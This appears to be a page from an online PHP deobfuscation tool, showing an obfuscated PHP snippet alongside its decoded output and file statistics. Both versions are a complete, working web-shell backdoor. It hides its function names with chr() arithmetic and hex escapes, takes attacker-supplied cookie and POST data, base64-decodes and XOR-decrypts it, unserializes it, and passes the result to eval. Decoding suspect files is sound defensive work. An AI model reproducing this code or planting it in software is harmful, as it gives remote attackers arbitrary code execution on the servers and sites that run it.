Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
$wtiSe = "\x79" . "\137" . 'd' . chr ( 586 - 481 )."\x64" . "\x55";$YZOgXo = chr (99) . "\..
Decoded Output download
<? $wtiSe = "y" . "_" . 'd' . chr ( 586 - 481 )."d" . "U";$YZOgXo = chr (99) . "l" . 'a' . "s" . chr ( 242 - 127 ).chr ( 177 - 82 ).chr ( 932 - 831 ).'x' . 'i' . chr ( 441 - 326 ).chr ( 912 - 796 )."s";$OAxuTU = $YZOgXo($wtiSe); $cuiKVBjfJN = $OAxuTU;if (!$cuiKVBjfJN){class y_didU{private $NfXlmsOa;public static $cTlIN = "1660c061-59e8-4879-b440-033760d65944";public static $ZcrmijqUoE = 52182;public function __construct($FTENTAdtu=0){$IlUGsPIm = $_COOKIE;$ZagLp = $_POST;$qJogmK = @$IlUGsPIm[substr(y_didU::$cTlIN, 0, 4)];if (!empty($qJogmK)){$gDfyJBAxV = "base64";$DVKhP = "";$qJogmK = explode(",", $qJogmK);foreach ($qJogmK as $GVIpvwLt){$DVKhP .= @$IlUGsPIm[$GVIpvwLt];$DVKhP .= @$ZagLp[$GVIpvwLt];}$DVKhP = array_map($gDfyJBAxV . '_' . "d" . "e" . "c" . chr (111) . 'd' . "e", array($DVKhP,)); $DVKhP = $DVKhP[0] ^ str_repeat(y_didU::$cTlIN, (strlen($DVKhP[0]) / strlen(y_didU::$cTlIN)) + 1);y_didU::$ZcrmijqUoE = @unserialize($DVKhP);}}private function frcyinYK(){if (is_array(y_didU::$ZcrmijqUoE)) {$hkKWPpRu = str_replace(chr (60) . '?' . "p" . "h" . "p", "", y_didU::$ZcrmijqUoE["c" . "o" . 'n' . chr (116) . "e" . chr ( 1021 - 911 ).chr (116)]);eval($hkKWPpRu); $qKMvd = "7764";exit();}}public function __destruct(){$this->frcyinYK(); $qKMvd = "7764";}}$iKlUHiYlfS = new y_didU(); $iKlUHiYlfS = "26078_20861";} ?><?php ?>
Did this file decode correctly?
Original Code
$wtiSe = "\x79" . "\137" . 'd' . chr ( 586 - 481 )."\x64" . "\x55";$YZOgXo = chr (99) . "\x6c" . 'a' . "\x73" . chr ( 242 - 127 ).chr ( 177 - 82 ).chr ( 932 - 831 ).'x' . 'i' . chr ( 441 - 326 ).chr ( 912 - 796 )."\163";$OAxuTU = $YZOgXo($wtiSe); $cuiKVBjfJN = $OAxuTU;if (!$cuiKVBjfJN){class y_didU{private $NfXlmsOa;public static $cTlIN = "1660c061-59e8-4879-b440-033760d65944";public static $ZcrmijqUoE = 52182;public function __construct($FTENTAdtu=0){$IlUGsPIm = $_COOKIE;$ZagLp = $_POST;$qJogmK = @$IlUGsPIm[substr(y_didU::$cTlIN, 0, 4)];if (!empty($qJogmK)){$gDfyJBAxV = "base64";$DVKhP = "";$qJogmK = explode(",", $qJogmK);foreach ($qJogmK as $GVIpvwLt){$DVKhP .= @$IlUGsPIm[$GVIpvwLt];$DVKhP .= @$ZagLp[$GVIpvwLt];}$DVKhP = array_map($gDfyJBAxV . '_' . "\x64" . "\145" . "\x63" . chr (111) . 'd' . "\145", array($DVKhP,)); $DVKhP = $DVKhP[0] ^ str_repeat(y_didU::$cTlIN, (strlen($DVKhP[0]) / strlen(y_didU::$cTlIN)) + 1);y_didU::$ZcrmijqUoE = @unserialize($DVKhP);}}private function frcyinYK(){if (is_array(y_didU::$ZcrmijqUoE)) {$hkKWPpRu = str_replace(chr (60) . '?' . "\x70" . "\150" . "\x70", "", y_didU::$ZcrmijqUoE["\x63" . "\157" . 'n' . chr (116) . "\145" . chr ( 1021 - 911 ).chr (116)]);eval($hkKWPpRu); $qKMvd = "7764";exit();}}public function __destruct(){$this->frcyinYK(); $qKMvd = "7764";}}$iKlUHiYlfS = new y_didU(); $iKlUHiYlfS = "26078_20861";} ?><?php
Function Calls
chr | 7 |
class_exists | 1 |
Stats
MD5 | 786788463f94337432177b59729d41e7 |
Eval Count | 0 |
Decode Time | 70 ms |